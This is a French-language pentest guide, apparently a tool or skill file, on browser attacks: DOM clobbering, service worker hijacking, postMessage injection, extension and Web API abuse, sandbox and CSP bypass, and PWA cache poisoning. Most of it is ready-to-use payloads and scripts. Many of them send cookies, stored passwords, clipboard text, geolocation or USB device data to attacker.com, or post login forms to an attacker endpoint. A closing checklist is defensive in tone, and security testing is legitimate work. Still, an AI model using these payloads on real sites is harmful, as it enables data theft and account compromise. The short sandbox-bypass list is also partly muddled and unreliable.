| name | browser-pentesting |
| description | Guide complet de pentest navigateur — DOM clobbering, Service Worker hijacking, extension exploitation, postMessage, sandbox escape, et Web API abuse |
| category | cybersecurite |
Browser Pentesting — DOM & Web APIs
1. DOM Clobbering
Exploite l'interaction entre les IDs HTML et les variables JavaScript globales.
Principe
<script>
if (window.isAdmin) { ... }
</script>
<a id="isAdmin"></a>
<form id="config">
<input name="apiUrl" value="https://attacker.com/">
</form>
Payloads DOM Clobbering
<a id="isAdmin" href="x">
<a id="apiKey" href="https://attacker.com/key">
<form id="config">
<input name="endpoint" value="https://attacker.com/exfil">
</form>
<a id="sanitize" href="x">
<form id="loginForm" action="https://attacker.com/steal">
<input name="username">
<input name="password">
</form>
DOM Clobbering + XSS
<a id="config">
<a id="config__proto__">
<a id="config__proto__innerHTML" href="<img src=x onerror=alert(1)>">
</a>
</a>
2. Service Worker Attacks
Service Worker Hijacking
self.addEventListener('fetch', function(event) {
fetch('https://attacker.com/steal?' + event.request.url);
event.respondWith(
new Response('<script>alert("Hacked")</script>', {
headers: {'Content-Type': 'text/html'}
})
);
});
navigator.serviceWorker.register('/sw.js')
.then(() => console.log('SW registered'));
Service Worker Scope Poisoning
navigator.serviceWorker.register('/static/sw.js', { scope: '/' });
Unregister Service Workers
navigator.serviceWorker.getRegistrations().then(function(regs) {
for(let reg of regs) {
reg.unregister();
}
});
3. postMessage Exploitation
Réception non sécurisée
window.addEventListener('message', function(e) {
eval(e.data);
});
targetWindow.postMessage('alert(document.cookie)', '*');
Protections bypass
if (e.origin.includes('target.com')) { ... }
if (e.origin.match(/target\.com/)) { ... }
window.addEventListener('message', function(e) {
document.getElementById('msg').innerHTML = e.data;
});
postMessage to XSS
<iframe id="victim" src="https://target.com/widget"></iframe>
<script>
victim.contentWindow.postMessage('<img src=x onerror=alert(document.cookie)>', '*');
</script>
4. Browser Extension Exploitation
Extension Permission Abuse
chrome.tabs.executeScript(tabId, {code: 'alert(document.cookie)'});
chrome.storage.local.get(['passwords'], function(data) {
fetch('https://attacker.com/steal', {method: 'POST', body: JSON.stringify(data)});
});
Extension Communication Hijacking
window.addEventListener('message', function(e) {
if (e.source === window && e.data.extension) {
}
});
5. Web API Abuse
Geolocation Spoofing
navigator.permissions.query({name:'geolocation'}).then(function(p) {
if (p.state === 'granted') {
navigator.geolocation.getCurrentPosition(function(pos) {
fetch('https://attacker.com/geo?lat='+pos.coords.latitude);
});
}
});
WebUSB / WebBluetooth / WebNFC
navigator.usb.getDevices().then(devices => {
devices.forEach(d => {
fetch('https://attacker.com/usb', {body: JSON.stringify(d)});
});
});
Clipboard API
navigator.clipboard.readText().then(text => {
fetch('https://attacker.com/clip?data=' + encodeURIComponent(text));
});
6. Sandbox Escape
Iframe Sandbox Bypass
<iframe sandbox="allow-scripts" src="..."></iframe>
# Bypass techniques:
# - CSP: frame-ancestors
# - Seamless embedding
# - Nested iframes (sandbox dans sandbox)
# - window.name leakage
CSP Bypass
<script src="https://api.target.com/callback?jsonp=alert(1)"></script>
<img src="https://attacker.com/steal?cookie="+document.cookie>
7. Cache Poisoning / PWA
PWA Cache Poisoning
caches.open('v1').then(cache => {
cache.put('/index.html', new Response('<script>alert(1)</script>'));
});
Outils
Checklist
DOM CLOBBERING
☐ Variables globales clobberables via IDs
☐ Form/Anchor tags pour valeurs string
☐ Objets imbriqués (x__proto__)
☐ Fonctions de sanitization clobberées
SERVICE WORKER
☐ SW registration via XSS ?
☐ SW scope trop large ?
☐ SW hijacking des requêtes ?
☐ SW cache poisoning ?
POSTMESSAGE
☐ Vérification d'origine absente ?
☐ Vérification d'origine faible ?
☐ innerHTML/eval dans le handler ?
EXTENSIONS
☐ Permissions excessives ?
☐ Communication non sécurisée ?
☐ Stockage local non chiffré ?
WEB APIs
☐ Geolocation abuse
☐ WebUSB/Bluetooth access
☐ Clipboard access
☐ Permission states fuzzing
Ressources